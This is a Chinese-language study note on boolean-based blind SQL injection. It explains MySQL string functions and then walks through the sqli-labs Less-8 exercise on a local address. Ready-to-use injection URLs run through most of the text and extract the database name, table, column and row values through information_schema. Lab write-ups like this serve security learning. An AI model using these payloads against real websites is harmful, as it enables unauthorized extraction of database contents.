笔记

sql注入漏洞布尔型盲注原理

下面的代码

不管你输入正确就显示Right,你输入错误显示Wrong没有其他的
就是你不管输入什么就有两个结果
这个我们就可以通过真和假来判断

他是怎么实现查询数据库的那

zhao
这个zhao是数据库名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
我进行猜他一个一个字符的猜他
第一个字符是不是a
返回Wrong

第一个字符是不是z
返回Right

第二个字符是不是za
返回Wrong

第二个字符是不是zh
返回Right

等等。。。。。。。。

知道猜叫名猜出来

布尔型盲注方法

left()函数

left()函数是一个字符串函数,它返回具有指定长度的字符串的左边部分
在这里插入图片描述

left()函数进行注入

数据库名称dvwa
下面这个我用的是 database()查询当前数据库的,
在这里插入图片描述

判断第一个字符是什么
代码

1
select left(database(),1)='d';

结果
结果是d
可以看见输入a是错的,输入d是对的
在这里插入图片描述

判断第二个字符是什么
第一个字符是d
在这里插入图片描述
以此类推到最后一个
结果就出来了
在这里插入图片描述

regexp函数

SQL中的正则表达式(regexp)

regexp进行布尔型盲注

数据库名称dvwa
下面这个我用的是 database()查询当前数据库的,
在这里插入图片描述

下面这个^的意思就是,字符串的起始字符串是什么

  1. 判断第一个字符是什么
    结果是d
1
select database()  regexp '^d'; 

在这里插入图片描述

  1. 判断第二个字符是什么
    结果是v
    在这里插入图片描述

以此类推到最后一个
结果就出来了

like函数

就不多说了

进行注入

在这里插入图片描述

substr()函数和ascii()函数

数据库名称dvwa
下面这个我用的是 database()查询当前数据库的,
在这里插入图片描述

  1. substr()函数是截取字符串的
    看一下代码select substr('abcdefc',1,4);
    意思就是从第1个开始取到第4个
    结果在这里插入图片描述
  2. ascii()就是把字符串转化成ascii码
    用这个点原因是避免了'的出现在这里插入图片描述

    报错查询

    代码 select ascii(substr((select database()),1,1))=100;
    查询的是dvwa库第一个字符是d的ascii等于100
    结果是100在这里插入图片描述

ord()函数和mid()函数

  1. ord()和上面的ascii()是一样的
    就是把字符串转化成ascii码
    用这个点原因是避免了'的出现
    在这里插入图片描述
  2. mid()和上面的substr()函数是一样的
    意思就是从第1个开始取到第4个在这里插入图片描述

报错查询

其实和上面的一样
代码select ord(mid((select database()),1,1))=100;
查询的是dvwa库第一个字符是d的ascii等于100
结果是100在这里插入图片描述

实战

第8关

1.判断是否存在sql注入漏洞

输入http://192.168.0.102/Less-8/?id=1
显示出You are in………..
在这里插入图片描述
添加一个'
输入http://192.168.0.102/Less-8/?id=1'
发现没有任何显示,可能存在sql注入漏洞
在这里插入图片描述
在进行判断
输入http://192.168.0.102/Less-8/?id=1 ' and '1'='1
发现正常显示

在这里插入图片描述
输入http://192.168.0.102/Less-8/?id=1 ' and '1'='2

报错
说明是存在sql注入漏洞的

在这里插入图片描述

2. 读取数据

发现他就两个结果,一个正确是输出,一个是错误不输出
我们就可以进行布尔盲注、
查询其他的比较麻烦这个我就查询当前的库的数据

  1. 查询当前的库名

下面演示的事left函数进行查询的

URL地址http://192.168.0.102/Less-8/?id=1' and left(database(),1)='s' --+
结果是s
输入a没有显示没有显示在这里插入图片描述
输入s都显示了
在这里插入图片描述

查询第二个
URL地址http://192.168.0.102/Less-8/?id=1' and left(database(),2)='se‘ --+
结果是e
输入a没有显示
在这里插入图片描述

输入e显示了说明就是e
在这里插入图片描述
还可以用burp进行查询方便
直接就可以查询出来
在这里插入图片描述
其他函数查询方法

1
2
3
4
5
6
7
8
9
10
11
regexp函数
http://192.168.0.102/Less-8/?id=1' and database() regexp '^s' --+

like函数
http://192.168.0.102/Less-8/?id=1' and database() like 'd%' --+

substr()函数和ascii()函数
http://192.168.0.102/Less-8/?id=1' and ascii(substr((select database()),1,1))=115 --+

ord()函数和mid()函数
http://192.168.0.102/Less-8/?id=1' and ord(mid((select database()),1,1))=115 --+

以此类推找到数据库名是security其他的库就不查询

  1. 查询表
    上面已经叫库明查询出来了

下面演示的事left函数进行查询的
URL地址http://192.168.0.102/Less-8/ ?id=1' and left((select table_name from information_schema.tables where table_schema='security' LIMIT 0,1) ,1)='e' --+
结果是e
输入a没有显示
在这里插入图片描述
输入e就显示了说明第一个字符是e

在这里插入图片描述
查询第二个
URL地址http://192.168.0.102/Less-8/ ?id=1' and left((select table_name from information_schema.tables where table_schema='security' LIMIT 0,1) ,2)='ea' --+
结果是m
输入a没有显示
在这里插入图片描述
输入m就显示了
在这里插入图片描述
用burp进行查询提升速度
是a
在这里插入图片描述
其他函数查询

1
2
3
4
5
6
7
8
9
10
11
regexp函数
http://192.168.0.102/Less-8/?id=1' and (select table_name from information_schema.tables where table_schema='security' LIMIT 0,1) regexp '^e' --+查询到emails

like函数
http://192.168.0.102/Less-8/?id=1' and (select table_name from information_schema.tables where table_schema='security' LIMIT 0,1) like 'e%' --+

substr()函数和ascii()函数
http://192.168.0.102/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' LIMIT 0,1) ,1,1))=101 --+

ord()函数和mid()函数
http://192.168.0.102/Less-8/?id=1' and ord(mid((select table_name from information_schema.tables where table_schema='security' LIMIT 0,1),1,1))=101 --+

以此类推叫第一个给查询出来了emails其他的表就不查询
3. 查询列
上面我已经第一个给查询出来了emails 利用这个查询列
下面演示的事left函数进行查询的
URL地址http://192.168.0.102/Less-8/?id=1' and left((select column_name from information_schema.columns where table_name='emails' LIMIT 0,1),1)='i' --+
结果是i
输入a没有显示
在这里插入图片描述
输入i就显示了
在这里插入图片描述
查询第二个字符
URL地址http://192.168.0.102/Less-8/?id=1' and left((select column_name from information_schema.columns where table_name='emails' LIMIT 0,1),2)='id' --+
结果是d
输入a没有显示
在这里插入图片描述
输入d显示了
在这里插入图片描述
用burp就不演示了
其他函数查询方法

1
2
3
4
5
6
7
8
9
10
11
regexp函数
http://192.168.0.102/Less-8/?id=1' and (select column_name from information_schema.columns where table_name='emails' LIMIT 0,1) regexp '^i' --+

like函数
http://192.168.0.102/Less-8/?id=1' and (select column_name from information_schema.columns where table_name='emails' LIMIT 0,1) like 'i%' --+

substr()函数和ascii()函数
http://192.168.0.102/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='emails' LIMIT 0,1),1,1))=105 --+

ord()函数和mid()函数
http://192.168.0.102/Less-8/?id=1' and ord(mid((select column_name from information_schema.columns where table_name='emails' LIMIT 0,1),1,1))=105 --+

查询出来了第一个列是id其他的列就不查询
4. 查询数据内容
通过上面的查询知道了库明,表明,列明
就可以查询数据了
URL地址http://192.168.0.102/Less-8/?id=1' and left((select id from security.emails LIMIT 0,1 ),1)='2' --+
结果是1
输入2没有显示
在这里插入图片描述
输入1显示了
在这里插入图片描述
其他函数查询方法

1
2
3
4
5
6
7
8
9
10
11
12
regexp函数
http://192.168.0.102/Less-8/?id=1' and (select id from security.emails LIMIT 0,1 ) regexp '^1' --+

like函数
http://192.168.0.102/Less-8/?id=1' and (select id from security.emails LIMIT 0,1 ) like '1%' --+


substr()函数和ascii()函数
http://192.168.0.102/Less-8/?id=1' and ascii(substr((select id from security.emails LIMIT 0,1 ),1,1))=49 --+

ord()函数和mid()函数
http://192.168.0.102/Less-8/?id=1' and ord(mid((select id from security.emails LIMIT 0,1 ) ,1,1))=49 --+

数据库内容是结果是1

这样查询非常麻烦